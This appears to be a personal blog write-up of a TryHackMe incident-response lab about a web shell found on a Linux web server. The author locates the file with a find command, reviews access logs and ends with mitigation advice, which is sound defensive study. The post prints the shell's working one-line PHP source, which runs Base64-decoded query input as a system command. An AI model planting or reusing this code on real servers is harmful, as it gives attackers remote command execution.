I’m returning to regular posts after a break and plan to publish monthly. This morning I completed the TryHackMe lab Infinity Shell, which demonstrates a web server compromise through a web shell. Web shells commonly source from application vulnerabilities or misconfigurations. For example, unrestricted file uploads or overly permissive file permissions. Web shells are small scripts placed on web servers that give attackers remote access to a corporate environment. A well known example is ChinaChopper, a lightweight web shell that has been around for over a decade and has been used in real world intrusions.
The lab gives you access to the target machine and only tells you was impacted by a web shell attack. On Linux, web server files are commonly located under /var/www, so I started there and immediately saw a CMSsite-master directory. Web shells are often written in PHP, ASPX, or similar server-side languages, so a good first step is to search the webroot and its subdirectories for those file extensions.
find . -type f \
( -iname ".php" -o -iname ".phtml" -o -iname ".php3" -o -iname ".php4" -o -iname ".php5" -o -iname ".phar" \
-o -iname ".asp" -o -iname ".aspx" -o -iname ".ashx" -o -iname ".asa" \
-o -iname ".jsp" -o -iname ".jspx" -o -iname ".do" \ -o -iname ".cgi" -o -iname ".pl" -o -iname ".py" -o -iname "*.rb" ) \
-print
After running the scan I found an odd file — Images.php — inside the img/ folder (not where you’d expect a server-side script). I opened it and it contained a tiny but dangerous web shell: it decodes a Base64 query parameter and runs it on the server:
<?php system(base64_decode($_GET['query']));?>
After I identified how the webshell works I investigated the web server logs for any Base64 request against image.php by using ‘cat other_vhosts_access.log.1 | grep images.php‘ , grabbed the output and sent it to ChatGPT to decode all Base64 requests and provide the output.
And we have the flag!
As defenders, mitigating these attacks comes down to applying solid defense-in-depth practices. CISA has already released an awareness article covering these threats in 2017. Key steps include regularly monitoring and patching internet-facing applications, placing them within a properly configured DMZ, and ensuring IIS runs with only the permissions it truly needs. The list goes on, but ultimately, it’s up to each organization to determine its risk tolerance and how much exposure it’s willing to accept against these types of attacks.